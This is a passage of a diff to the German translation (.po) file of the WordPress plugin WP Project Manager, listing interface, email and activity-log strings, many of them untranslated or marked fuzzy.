"Enable Bcc" -msgstr "" - -#: views/assets/src/components/settings/general.vue:7 -#: views/assets/src/components/settings/header.vue:5 -msgid "General Settings" -msgstr "" - -# @ cpm -#: views/assets/src/components/settings/general.vue:12 -msgid "File Upload Limit" -msgstr "Datei-Upload-Limit" - -#: views/assets/src/components/settings/general.vue:16 -msgid "File Size in Megabytes. e.g: 2" -msgstr "" - -#: views/assets/src/components/settings/general.vue:21 -msgid "Projects Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:25 -msgid "-1 for unlimited" -msgstr "" - -#: views/assets/src/components/settings/general.vue:31 -msgid "Task Lists Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:39 -msgid "Incomplete Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:47 -msgid "Completed Tasks Per Page" -msgstr "" - -#: views/assets/src/components/settings/general.vue:55 -msgid "Project Managing Capability" -msgstr "" - -#: views/assets/src/components/settings/general.vue:65 -#: views/assets/src/components/settings/general.vue:81 -msgid "Select the user roles who can see and manage all projects." -msgstr "" - -#: views/assets/src/components/settings/general.vue:71 -msgid "Project Creation Capability" -msgstr "" - -#: views/emails/html/complete-task.php:12 -msgid "Task status has been changed" -msgstr "" - -#: views/emails/html/complete-task.php:25 -msgid "Changed by" -msgstr "" - -# @ cpm -#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 -#: views/emails/html/update-task.php:24 -#, fuzzy -#| msgid "Due date" -msgid "due date" -msgstr "Fälligkeitsdatum" - -#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 -#: views/emails/html/update-task.php:29 -msgid "start at" -msgstr "" - -# @ cpm -#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 -#: views/emails/html/update-task.php:46 -msgid "View Task" -msgstr "Aufgabe anzeigen" - -#: views/emails/html/new-comment.php:12 -msgid "New Comment" -msgstr "" - -#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 -msgid "Commented By" -msgstr "" - -#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 -msgid "On" -msgstr "" - -#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 -#: views/emails/mention.php:47 -msgid "View Comment" -msgstr "" - -# @ cpm -#: views/emails/html/new-message.php:12 -msgid "New Message" -msgstr "Neue Nachricht" - -#: views/emails/html/new-message.php:19 -msgid "Message Created By" -msgstr "" - -#: views/emails/html/new-message.php:28 -msgid "Title" -msgstr "" - -# @ cpm -#: views/emails/html/new-message.php:49 -msgid "View Message" -msgstr "Nachricht anzeigen" - -#: views/emails/html/new-project.php:16 -msgid "Project Created By" -msgstr "" - -#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 -#: views/emails/mention.php:37 -msgid "Hello" -msgstr "" - -#: views/emails/html/new-project.php:25 -msgid "You are assigned to a new project \"%s\" by %s." -msgstr "" - -#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 -msgid "You can see the project by going here:" -msgstr "" - -# @ cpm -#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 -msgid "View Project" -msgstr "Projekt anzeigen" - -#: views/emails/html/new-task.php:12 -msgid "New task has been assigned to you" -msgstr "" - -#: views/emails/html/new-task.php:18 -msgid "Created By" -msgstr "" - -#: views/emails/html/update-project.php:15 -msgid "Project Updated By" -msgstr "" - -#: views/emails/html/update-project.php:24 -msgid "You are assigned to a project \"%s\" by %s." -msgstr "" - -#: views/emails/html/update-task.php:12 -msgid "Update task has been assigned to you" -msgstr "" - -# @ cpm -#: views/emails/html/update-task.php:18 -#, fuzzy -#| msgid "Update List" -msgid "Updated By" -msgstr "Liste aktualisieren" - -#: views/emails/mention.php:39 -msgid "You are mentioned in a comment by" -msgstr "" - -#: views/emails/mention.php:41 -msgid "Please click the link bellow to view the comment." -msgstr "" - -#. Plugin Name of the plugin/theme -msgid "WP Project Manager" -msgstr "" - -#. Plugin URI of the plugin/theme -msgid "https://wedevs.com/wp-project-manager-pro/" -msgstr "" - -#. Description of the plugin/theme -msgid "" -"WordPress Project Management plugin. Manage your projects and tasks, get " -"things done." -msgstr "" - -#. Author of the plugin/theme -msgid "weDevs" -msgstr "" - -#. Author URI of the plugin/theme -msgid "https://wedevs.com" -msgstr "" - -# @ cpm -#~ msgid "Project created by %s" -#~ msgstr "Projekt erstellt von %s" - -# @ cpm -#~ msgid "Project details updated by %s" -#~ msgstr "Projektdetails aktualisiert von %s" - -# @ cpm -#~ msgid "Message \"%s\" deleted by %s" -#~ msgstr "Meldung \"%s\" von %s gelöscht" - -# @ cpm -#~ msgid "%s deleted a comment" -#~ msgstr "%s hat einen Kommentar gelöscht" - -# @ cpm -#~ msgid "Add a comment..." -#~ msgstr "Kommentar hinzufügen..." - -# @ cpm -#~ msgid "Messages" -#~ msgstr "Nachrichten" - -# @ cpm -#~ msgid "message post type" -#~ msgstr "Nachrichtenposttyp" - -# @ cpm -#~ msgid "Edit Message" -#~ msgstr "Nachricht bearbeiten" - -# @ cpm -#~ msgid "Search Messages" -#~ msgstr "Nachrichten suchen" - -# @ cpm -#~ msgid "Parent Message" -#~ msgstr "Übergeordnete Nachricht" - -# @ cpm -#~ msgid "Add New Milestone" -#~ msgstr "Neuen Meilenstein hinzufügen" - -# @ cpm -#~ msgid "New Milestone" -#~ msgstr "Neuer Meilenstein" - -# @ cpm -#~ msgid "View Milestone" -#~ msgstr "Meilenstein anzeigen" - -# @ cpm -#~ msgid "Search Milestone" -#~ msgstr "Meilenstein suchen" - -# @ cpm -#~ msgid "Parent Milestone" -#~ msgstr "Übergeordneter Meilenstein" - -# @ cpm -#~ msgid "project manager post type" -#~ msgstr "Projekt-Manager-Post-Typ" - -# @ cpm -#~ msgid "Add Project" -#~ msgstr "Projekt hinzufügen" - -# @ cpm -#~ msgid "Edit Project" -#~ msgstr "Projekt bearbeiten" - -# @ cpm -#~ msgid "Search Project" -#~ msgstr "Projekt suchen" - -# @ cpm -#~ msgid "Parent Project" -#~ msgstr "Übergeordnetes Projekt" - -# @ cpm -#~ msgid "Add Task List" -#~ msgstr "Aufgabenliste hinzufügen" - -# @ cpm -#~ msgid "Add New Task List" -#~ msgstr "Neue Aufgabenliste hinzufügen" - -# @ cpm -#~ msgid "Edit Task List" -#~ msgstr "Aufgabenliste bearbeiten" - -# @ cpm -#~ msgid "View Task List" -#~ msgstr "Aufgabenliste anzeigen" - -# @ cpm -#~ msgid "Search Task List" -#~ msgstr "Aufgabenliste suchen" - -# @ cpm -#~ msgid "Parent Task List" -#~ msgstr "Übergeordnete Aufgabenliste" - -# @ cpm -#~ msgid "Add New Task" -#~ msgstr "Neue Aufgabe hinzufügen" - -# @ cpm -#~ msgid "Edit Task" -#~ msgstr "Aufgabe bearbeiten" - -# @ cpm -#~ msgid "New Task" -#~ msgstr "Neue Aufgabe" - -# @ cpm -#~ msgid "Search Task" -#~ msgstr "Aufgabe suchen" - -# @ cpm -#~ msgid "Parent Task" -#~ msgstr "Übergeordnete Aufgabe" - -# @ cpm -#~ msgid "Delete project" -#~ msgstr "Projekt löschen" - -# @ cpm -#~ msgid "Add this comment" -#~ msgstr "Diesen Kommentar hinzufügen" - -# @ cpm -#~ msgid "late" -#~ msgstr "spät" - -# @ cpm -#~ msgid "Attached to
%s by %s" -#~ msgstr "Angehängt an %s von %s" - -# @ cpm -#~ msgid "Error: Message not found" -#~ msgstr "Fehler: Nachricht nicht gefunden" - -# @ cpm -#~ msgid "Error: Project not found" -#~ msgstr "Fehler: Projekt nicht gefunden" - -# @ cpm -#~ msgid "Error: Permission denied" -#~ msgstr "Fehler: Erlaubnis verweigert" - -# @ cpm -#, fuzzy -#~ msgid "1 Comment" -#~ msgid_plural "%d Comments" -#~ msgstr[0] "1 Kommentar" -#~ msgstr[1] "1 Kommentar" - -# @ cpm -#~ msgid "Message %s created by %s" -#~ msgstr "Nachricht %s erstellt von %s" - -# @ cpm -#~ msgid "Message %s updated by %s" -#~ msgstr "Meldung %s aktualisiert von %s" - -# @ cpm -#~ msgid "To-do list %s created by %s" -#~ msgstr "Aufgabenliste %s erstellt von %s" - -# @ cpm -#~ msgid "To-do list %s updated by %s" -#~ msgstr "Aufgabenliste %s aktualisiert von %s" - -# @ cpm -#~ msgid "To-do list \"%s\" deleted by %s" -#~ msgstr "Aufgabenliste \"%s\" von %s gelöscht" - -# @ cpm -#~ msgid "To-do %s added on to-do list %s by %s" -#~ msgstr "Aufgabe %s hinzugefügt zu Aufgabenliste %s von %s" - -# @ cpm -#~ msgid "To-do %s updated by %s" -#~ msgstr "Aufgabe %s von %s aktualisiert" - -# @ cpm -#~ msgid "To-do %s completed by %s" -#~ msgstr "Aufgabe %s von %s abgeschlossen" - -# @ cpm -#~ msgid "Marked to-do as done" -#~ msgstr "Aufgabe als erledigt markiert" - -# @ cpm -#~ msgid "To-do %s marked un-done by %s" -#~ msgstr "Aufgabe %s von %s als noch nicht fertig markiert" - -# @ cpm -#~ msgid "Re-opened to-do" -#~ msgstr "Aufgabe wieder geöffnet" - -# @ cpm -#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" -#~ msgstr "Aufgabe \"%s\" aus Aufgabenliste %s von %s gelöscht" - -# @ cpm -#~ msgid "Milestone \"%s\" added by %s " -#~ msgstr "Meilenstein \"%s\" hinzugefügt von %s" - -# @ cpm -#~ msgid "Milestone \"%s\" updated by %s " -#~ msgstr "Meilenstein \"%s\" geändert von %s" - -# @ cpm -#~ msgid "Milestone \"%s\" deleted by %s " -#~ msgstr "Meilenstein \"%s\" von %s gelöscht" - -# @ cpm -#~ msgid "Milestone \"%s\" marked as complete by %s " -#~ msgstr "Meilenstein \"%s\" von %s als erledigt markiert" - -# @ cpm -#~ msgid "Milestone \"%s\" marked as incomplete by %s " -#~ msgstr "Meilenstein \"%s\" als unvollständig markiert von %s" - -# @ cpm -#~ msgid "General" -#~ msgstr "Allgemein" - -# @ cpm -#~ msgid "No Messages Found" -#~ msgstr "Keine Nachrichten gefunden" - -# @ cpm -#~ msgid "No Messages Found in Trash" -#~ msgstr "Keine Nachrichten im Papierkorb gefunden" - -# @ cpm -#~ msgid "No Milestone Found" -#~ msgstr "Kein Meilenstein gefunden" - -# @ cpm -#~ msgid "No Milestone Found in Trash" -#~ msgstr "Kein Meilenstein im Papierkorb gefunden" - -# @ cpm -#~ msgid "No Project Found in Trash" -#~ msgstr "Kein Projekt im Papierkorb gefunden" - -# @ cpm -#~ msgid "No Task List Found" -#~ msgstr "Keine Aufgabenliste gefunden" - -# @ cpm -#~ msgid "No Task List Found in Trash" -#~ msgstr "Keine Aufgabenliste im Papierkorb gefunden" - -# @ cpm -#~ msgid "No Task Found" -#~ msgstr "Keine Aufgabe gefunden" - -# @ cpm -#~ msgid "No Task Found in Trash" -#~ msgstr "Keine Aufgabe im Papierkorb gefunden" - -# @ cpm -#~ msgid "Select co-workers" -#~ msgstr "Mitarbeiter wählen" - -# @ cpm -#~ msgid "Are you sure to delete this to-do?" -#~ msgstr "Wollen Sie diese Aufgabe wirklich löschen?" - -# @ cpm -#~ msgid "Add this to-do" -#~ msgstr "Diese Aufgabe hinzufügen" - -# @ cpm -#~ msgid "Add a new to-do" -#~ msgstr "Neue Aufgabe hinzufügen" - -# @ cpm -#~ msgid "-- milestone --" -#~ msgstr "-- Meilenstein --" - -# @ cpm -#~ msgid "Are you sure to delete this to-do list?" -#~ msgstr "Wollen Sie diese Aufgabenliste wirklich löschen?" - -# @ cpm -#~ msgid "Update comment" -#~ msgstr "Kommentar aktualisieren" - -# @ cpm -#~ msgid "Edit milestone" -#~ msgstr "Meilenstein bearbeiten" - -# @ cpm -#~ msgid "Mark un-complete" -#~ msgstr "Als unvollständig markieren" - -# @ cpm -#~ msgid "To-do List" -#~ msgstr "Aufgabenliste" - -# @ cpm -#~ msgid "Notify Co-workers" -#~ msgstr "Mitarbeiter benachrichtigen" - -# @ cpm -#~ msgid "thread" -#~ msgstr "Thread" - -# @ cpm -#~ msgid "One Comment" -#~ msgid_plural "%s Comments" -#~ msgstr[0] "Ein Kommentar" -#~ msgstr[1] "%s Kommentare" - -# @ cpm -#~ msgid "Discuss this to-do list" -#~ msgstr "Diese Aufgabenliste diskutieren" - -# @ default -#~ msgid "file size in Megabyte. e.g: 2" -#~ msgstr "Größe in Megabyte, z. B. 2" - -# @ cpm -#~ msgid "New Project Subject" -#~ msgstr "Neues Projekt-Thema" - -# @ cpm -#~ msgid "New Project Body" -#~ msgstr "Neuer Projekttext" - -# @ cpm -#~ msgid "New Message Subject" -#~ msgstr "Neuer Nachrichtenbetreff" - -# @ cpm -#~ msgid "New Message Body" -#~ msgstr "Neue Nachrichtentext" - -# @ cpm -#~ msgid "New Comment Subject" -#~ msgstr "Neues Kommentar-Thema" - -# @ cpm -#~ msgid "New Assigned Task Subject" -#~ msgstr "Neues Aufgabe-Thema" - -# @ cpm -#~ msgid "-- assign to --" -#~ msgstr "-- zugewiesen zu --" - -# @ cpm -#~ msgid "" -#~ "To attach, select files " -#~ "from your computer." -#~ msgstr "" -#~ "Für Anhänge wählen Sie " -#~ "Dateien von Ihrem Computer." - -# @ cpm -#~ msgid "%d message" -#~ msgid_plural "%d messages" -#~ msgstr[0] "%d Nachricht" -#~ msgstr[1] "%d Nachrichten" - -# @ cpm -#~ msgid "%d to-do list" -#~ msgid_plural "%d to-do lists" -#~ msgstr[0] "%d Aufgabenliste" -#~ msgstr[1] "%d Aufgabenlisten" - -# @ cpm -#~ msgid "%d to-do" -#~ msgid_plural "%d to-dos" -#~ msgstr[0] "%d Aufgabe" -#~ msgstr[1] "%d Aufgaben" - -# @ cpm -#~ msgid "%d milestone" -#~ msgid_plural "%d milestones" -#~ msgstr[0] "%d Meilenstein" -#~ msgstr[1] "%d Meilensteine" - -# @ cpm -#~ msgid "%d Comments" -#~ msgstr "%d Kommentare" - -# @ cpm -#~ msgid "(Completed by %s on %s)" -#~ msgstr "(Vervollständigt von %s auf % s)" - -# @ cpm -#~ msgid "Tasklist name" -#~ msgstr "Aufgabenlistenname" - -# @ cpm -#~ msgid "Add a to-do" -#~ msgstr "Neue Aufgabe hinzufügen" - -# @ cpm -#~ msgid "Message details here" -#~ msgstr "Hier Nachrichtendetails eingeben" - -# @ cpm -#~ msgid "Details about milestone (optional)" -#~ msgstr "Details zu Meilenstein (optional)" - -# @ cpm -#~ msgid "Reopen" -#~ msgstr "Erneut öffnen" - -# @ cpm -#~ msgid "" -#~ "Download or go to the discussion." -#~ msgstr "" -#~ " Downloaden oder weiter zur Diskussion." - -# @ cpm -#~ msgid "No Files Found!" -#~ msgstr "Keine Dateien gefunden!" - -# @ cpm -#~ msgid "Add New" -#~ msgstr "Neu hinzufügen" - -# @ cpm -#~ msgid "No messages found! How about adding one?" -#~ msgstr "Keine Nachrichten gefunden! Fügen Sie doch eine hinzu?" - -# @ cpm -#~ msgid "← back" -#~ msgstr "← zurück" - -# @ cpm -#~ msgid "No Milestone Found!" -#~ msgstr "Keine Meilensteine gefunden!" - -# @ cpm -#~ msgid "Add new milestone" -#~ msgstr "Neuen Meilenstein hinzufügen" - -# @ cpm -#~ msgid "Project Info" -#~ msgstr "Projektinfo" - -# @ cpm -#~ msgid "Oh dear, no To-do list found!" -#~ msgstr "Schade, leider keine Aufgabenliste gefunden!" - -# @ cpm -#~ msgid "Discuss this to-do" -#~ msgstr "Diese Aufgabe diskutieren" +msgid "" +msgstr "" +"Project-Id-Version: WP Project Manager v0.4.2\n" +"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" +"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" +"PO-Revision-Date: 2018-07-11 12:46+0600\n" +"Last-Translator: Alexander Pfabel \n" +"Language-Team: \n" +"Language: de_DE\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: nplurals=2; plural=n != 1;\n" +"X-Generator: Poedit 2.0.8\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;" +"_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2\n" +"X-Poedit-Basepath: ..\n" +"X-Textdomain-Support: yes\n" +"X-Poedit-SearchPath-0: .\n" + +#: core/Notifications/Emails/Complete_Task_Notification.php:42 +msgid "[%s] %s Task mark as %s in %s" +msgstr "" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:53 +#: core/Notifications/Emails/Update_Comment_Notification.php:52 +#: views/emails/html/new-message.php:39 views/emails/mention.php:13 +msgid "Message" +msgstr "Nachricht" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:58 +#: core/Notifications/Emails/Update_Comment_Notification.php:55 +#: views/emails/mention.php:20 +msgid "Task List" +msgstr "Aufgabenliste" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:63 +#: core/Notifications/Emails/Update_Comment_Notification.php:58 +#: views/assets/js/pm.js:18541 +#: views/assets/src/components/project-overview/directive.js:10 +#: views/emails/mention.php:25 +msgid "Task" +msgstr "Aufgabe" + +# @ cpm +#: core/Notifications/Emails/New_Comment_Notification.php:68 +#, fuzzy +#| msgid "Files" +msgid "File" +msgstr "Dateien" + +#: core/Notifications/Emails/New_Comment_Notification.php:81 +msgid "[%s][%s] New Comment on: %s" +msgstr "" + +#: core/Notifications/Emails/New_Message_Notification.php:47 +msgid "[%s][%s] New Message: %s" +msgstr "" + +#: core/Notifications/Emails/New_Project_Notification.php:24 +msgid "[%s] New Project Invitation: %s" +msgstr "" + +#: core/Notifications/Emails/New_Task_Notification.php:41 +msgid "[%s][%s] New Task Assigned: %s" +msgstr "" + +#: core/Notifications/Emails/Update_Comment_Notification.php:49 +msgid "[%s][%s] Update Comment on: %s" +msgstr "" + +# @ cpm +#: core/Notifications/Emails/Update_Project_Notification.php:24 +#, fuzzy +#| msgid "Update Project" +msgid "[%s] Updated Project: %s" +msgstr "Projekt aktualisieren" + +#: core/Notifications/Emails/Update_Task_Notification.php:40 +msgid "[%s][%s] Update Task Assigned: %s" +msgstr "" + +#: core/Permissions/Access_Project.php:22 +#: core/Permissions/Create_Discuss.php:17 +#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 +#: core/Permissions/Create_Task_List.php:17 +#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 +#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 +#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 +#: core/Permissions/Project_Manage_Capability.php:28 +msgid "You have no permission." +msgstr "" + +#: core/Permissions/Complete_Task.php:36 +msgid "You have no permission to change task status." +msgstr "" + +#: core/Permissions/Create_File.php:16 +msgid "You have no permission to create message." +msgstr "" + +#: core/Permissions/Project_Craete_Capability.php:17 +msgid "You have no permission to create project." +msgstr "" + +#: core/Upgrades/Upgrade.php:136 +msgid "" +"WP Project Manager Data Update Required – Please " +"click the button below to update to the latest version." +msgstr "" + +#: core/Upgrades/Upgrade.php:139 +msgid "Run the Update" +msgstr "" + +# @ cpm +#: core/Upgrades/Upgrade.php:140 +#, fuzzy +#| msgid "Load More..." +msgid "Read More" +msgstr "Mehr laden..." + +#: core/Upgrades/Upgrade.php:148 +msgid "" +"It is strongly recommended that you backup your database before proceeding. " +"Are you sure you wish to run the updater now?" +msgstr "" + +# @ default +#: core/WP/Enqueue_Scripts.php:65 +msgid "Allowed Files" +msgstr "Erlaubte Dateien" + +#: core/WP/Frontend.php:140 +msgid "Every %d Minutes PM schedule" +msgstr "" + +#: core/WP/Frontend.php:167 +msgid "

WP Project Manager Pro required version 2.0 or above.

" +msgstr "" + +#: core/WP/Frontend.php:168 +msgid "

To migrate version 2.0, Please read mmigration docs

" +msgstr "" + +#: core/WP/Frontend.php:177 +msgid "Read Docs" +msgstr "" + +#: core/WP/Frontend.php:284 +msgid "Get Pro" +msgstr "" + +# @ cpm +#: core/WP/Frontend.php:287 core/WP/Menu.php:36 +msgid "Settings" +msgstr "Einstellungen" + +#: core/WP/Frontend.php:288 +msgid "Documentation" +msgstr "" + +# @ cpm +#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 +msgid "Project Manager" +msgstr "Projektmanager" + +# @ cpm +#: core/WP/Menu.php:18 +msgid "Projects" +msgstr "Projekte" + +#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 +msgid "Categories" +msgstr "" + +#: core/WP/Menu.php:22 +msgid "My Tasks" +msgstr "" + +#: core/WP/Menu.php:23 +msgid "Calendar" +msgstr "" + +#: core/WP/Menu.php:26 +msgid "Reports" +msgstr "" + +#: core/WP/Menu.php:27 +msgid "Progress" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:23 +msgid "Manager" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:25 +msgid "Manager is a person who manages the project." +msgstr "" + +#: db/seeds/RoleTableSeeder.php:33 +msgid "Co-Worker" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:35 +msgid "Co-worker is person who works under a project." +msgstr "" + +#: src/Category/Validators/Create_Category.php:10 +#: src/Category/Validators/Update_Category.php:10 +msgid "Category title is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:11 +msgid "Category id is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:12 +msgid "Category id must be greater than zero" +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:10 +#: src/Comment/Validators/Update_Comment.php:10 +msgid "Comment title is required." +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:11 +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 +#: src/Milestone/Validators/Create_Milestone.php:11 +#: src/Project/Validators/Update_Project.php:11 +#: src/Task/Validators/Create_Task.php:11 +#: src/Task_List/Validators/Create_Task_List.php:11 +msgid "Project id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:11 +msgid "Comment id is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:12 +msgid "Comment id must be greater than zero" +msgstr "" + +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 +msgid "Discussion title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 +msgid "Discuss title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 +msgid "Discuss id is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 +msgid "Discuss id must be greater than zero" +msgstr "" + +#: src/File/Controllers/File_Controller.php:97 +msgid "file not found" +msgstr "" + +#: src/Milestone/Controllers/Milestone_Controller.php:58 +msgid "this is mishu" +msgstr "" + +#: src/Milestone/Validators/Create_Milestone.php:10 +#: src/Milestone/Validators/Update_Milestone.php:10 +msgid "Milestone title is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:11 +msgid "Milestone id is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:12 +msgid "Milestone id must be greater than zero" +msgstr "" + +#: src/Project/Validators/Create_Project.php:10 +#: src/Project/Validators/Update_Project.php:10 +msgid "Project title is required." +msgstr "" + +#: src/Project/Validators/Update_Project.php:12 +msgid "Project id must be greater than zero" +msgstr "" + +#: src/Role/Validators/Create_Role.php:10 +#: src/Role/Validators/Update_Role.php:10 +msgid "Role title is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:11 +msgid "Role id is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:12 +msgid "Role id must be greater than zero" +msgstr "" + +#: src/Task/Validators/Create_Task.php:10 +#: src/Task/Validators/Update_Task.php:10 +msgid "Task title is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:11 +msgid "Task id is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:12 +msgid "Task id must be greater than zero" +msgstr "" + +#: src/Task_List/Validators/Create_Task_List.php:10 +#: src/Task_List/Validators/Update_Task_List.php:10 +msgid "Task list title is required." +msgstr "" + +# @ cpm +#: src/Task_List/Validators/Update_Task_List.php:11 +#, fuzzy +#| msgid "Tasklist detail" +msgid "Task list id is required." +msgstr "Aufgabenlistendetail" + +#: src/Task_List/Validators/Update_Task_List.php:12 +msgid "Task list id must be greater than zero" +msgstr "" + +#: texts/activities.php:6 +msgid "%1$s has created a project titled as %2$s" +msgstr "" + +#: texts/activities.php:10 +msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:14 +msgid "%1$s has updated %2$s project description." +msgstr "" + +#: texts/activities.php:18 +msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:22 +msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:26 +msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:30 +msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:34 +msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:40 +msgid "%1$s has created a discussion board titled as %2$s." +msgstr "" + +#: texts/activities.php:44 +msgid "" +"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:48 +msgid "%1$s has updated the description of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:52 +msgid "%1$s has updated the order of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:58 +msgid "%1$s has created a task list titled as %2$s." +msgstr "" + +#: texts/activities.php:62 +msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:66 +msgid "%1$s has updated the description of a task list, %2$s." +msgstr "" + +#: texts/activities.php:70 +msgid "%1$s has updated the order of a task list, %2$s." +msgstr "" + +#: texts/activities.php:76 +msgid "%1$s has created a milestone, %2$s." +msgstr "" + +#: texts/activities.php:80 +msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:84 +msgid "%1$s has updated the description of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:88 +msgid "%1$s has updated the order of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:94 +msgid "%1$s has created a task, %2$s." +msgstr "" + +#: texts/activities.php:98 +msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:102 +msgid "%1$s has updated the description of a task, %2$s." +msgstr "" + +#: texts/activities.php:106 +msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:110 +msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:114 +msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:118 +msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:122 +msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:126 +msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:130 +msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:134 +msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +# @ cpm +#: texts/activities.php:140 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task, %2$s." +msgstr "%s kommentierte bei %s" + +# @ cpm +#: texts/activities.php:144 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:148 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task, %2$s" +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:152 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:158 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task list, %2$s." +msgstr "%s kommentierte bei %s" + +# @ cpm +#: texts/activities.php:162 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task list, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:166 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task list, %2$s" +msgstr "%s aktualsierte Kommentirung von %s" + +# @ cpm +#: texts/activities.php:170 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task list, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +#: texts/activities.php:176 +msgid "%1$s has commented on a discussion board, %2$s." +msgstr "" + +# @ cpm +#: texts/activities.php:180 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a discussion board, %2$s." +msgstr "%s aktualsierte Kommentirung von %s" + +#: texts/activities.php:184 +msgid "%1$s has replied a comment on a discussion board, %2$s" +msgstr "" + +#: texts/activities.php:188 +msgid "%1$s has updated a reply comment on a discussion board, %2$s." +msgstr "" + +# @ cpm +#: texts/activities.php:194 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a milestone, %2$s." +msgstr "%s kommentierte bei %s" + +# @ cpm +#: texts/activities.php:198 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment 